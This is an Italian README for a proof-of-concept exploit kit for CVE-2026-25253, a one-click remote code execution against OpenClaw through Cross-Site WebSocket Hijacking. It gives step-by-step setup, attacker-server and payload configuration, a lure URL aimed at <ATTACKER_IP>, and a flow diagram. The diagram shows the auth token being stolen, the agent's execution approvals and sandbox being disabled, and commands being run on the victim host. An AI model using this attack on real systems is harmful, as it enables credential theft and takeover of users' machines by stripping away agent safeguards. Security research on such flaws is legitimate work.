
Proof-of-concept exploit per CVE-2026-25253, che dimostra una RCE con un solo clic su OpenClaw tramite Cross-Site WebSocket Hijacking. Include un server dell'attaccante e un payload basato su browser per rubare token ed eseguire comandi.
RCE con un clic su OpenClaw tramite Cross-Site WebSocket Hijacking.
DISCLAIMER: Questo codice è fornito esclusivamente per ricerca di sicurezza autorizzata e scopi educativi. L'uso di questo codice contro sistemi senza esplicita autorizzazione scritta è illegale e non etico. L'autore non si assume alcuna responsabilità per un uso improprio.
Leggi l'analisi dettagliata per una disamina a livello di codice sorgente di questa vulnerabilità e di come è stato costruito questo PoC.
localhost:18789)macOS (Homebrew):
brew install node
Ubuntu / Debian:
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt-get install -y nodejs
Windows:
Scarica il programma di installazione da https://nodejs.org/ e segui le istruzioni.
Verifica l'installazione:
node -v
npm -v
git clone https://github.com/al4n4n/CVE-2026-25253-research.git
cd CVE-2026-25253-research
npm install
Questo installa l'unica dipendenza: ws (libreria WebSocket).
Modifica l'inizio di exploit.html per adattarlo al tuo ambiente:
const LOCAL_SCHEME = 'http'; // Schema della Control UI della vittima
const GATEWAY_URL = 'ws://127.0.0.1:18789'; // Gateway locale della vittima
const ATTACKER_WS_PORT = 8080; // Porta WS dell'attaccante (deve corrispondere a attacker-server.js)
const ATTACKER_SCHEME = 'ws'; // Usa 'wss' se dietro TLS
const COMMAND = 'touch /tmp/success'; // Comando da eseguire sull'host vittima
Modifica l'inizio di attacker-server.js se hai bisogno di porte diverse:
const HTTP_PORT = 3000; // Serve exploit.html
const WS_PORT = 8080; // Cattura i token rubati
node attacker-server.js
Dovresti vedere:
============================================================
CVE-2026-25253 Attack Server
============================================================
[HTTP] Pagina exploit: http://0.0.0.0:3000/exploit.html
[WS] Cattura token: ws://0.0.0.0:8080
In attesa della vittima...
Invia alla vittima il seguente URL (sostituisci <ATTACKER_IP> con il tuo IP):
http://<ATTACKER_IP>:3000/exploit.html
La vittima deve aprire questo link in un browser in cui ha precedentemente utilizzato la Control UI di OpenClaw (così il token di autenticazione esiste in localStorage).
┌──────────────────────────────────────────────────────────────────────────┐
│ FLUSSO DELL'EXPLOIT │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. La vittima visita http://<attacker>:3000/exploit.html │
│ │ │
│ 2. La pagina apre un popup: http://127.0.0.1:18789?gatewayUrl=ws://<attacker> │
│ │ │
│ 3. La Control UI nel popup legge il token da localStorage │
│ e lo invia al server WS dell'attaccante tramite gatewayUrl │
│ │ │
│ 4. Il server dell'attaccante rifiuta la prima connessione (device token)│
│ La Control UI riprova con il token delle impostazioni → CATTURATO │
│ │ │
│ 5. exploit.html apre la PROPRIA WebSocket verso ws://127.0.0.1:18789 │
│ (Cross-Site WebSocket Hijacking - nessuna validazione Origin) │
│ │ │
│ 6. Si autentica con il token rubato, disabilita la sicurezza: │
│ • exec.approvals.set → ask: "off" │
│ • config.patch → host: "gateway", sandbox.mode: "off" │
│ │ │
│ 7. Invia un comando agente → RCE sull'host vittima │
│ │
└──────────────────────────────────────────────────────────────────────────┘
Sulla macchina vittima, controlla se il comando è stato eseguito:
ls -la /tmp/success
| File | Descrizione |
|---|---|
attacker-server.js | Server HTTP (serve la pagina exploit) + server WebSocket (cattura i token rubati) |
exploit.html | Payload exploit basato su browser che ruba i token, dirotta la WebSocket, disabilita la sicurezza ed esegue comandi |
package.json |
Dipendenze Node.js (ws) |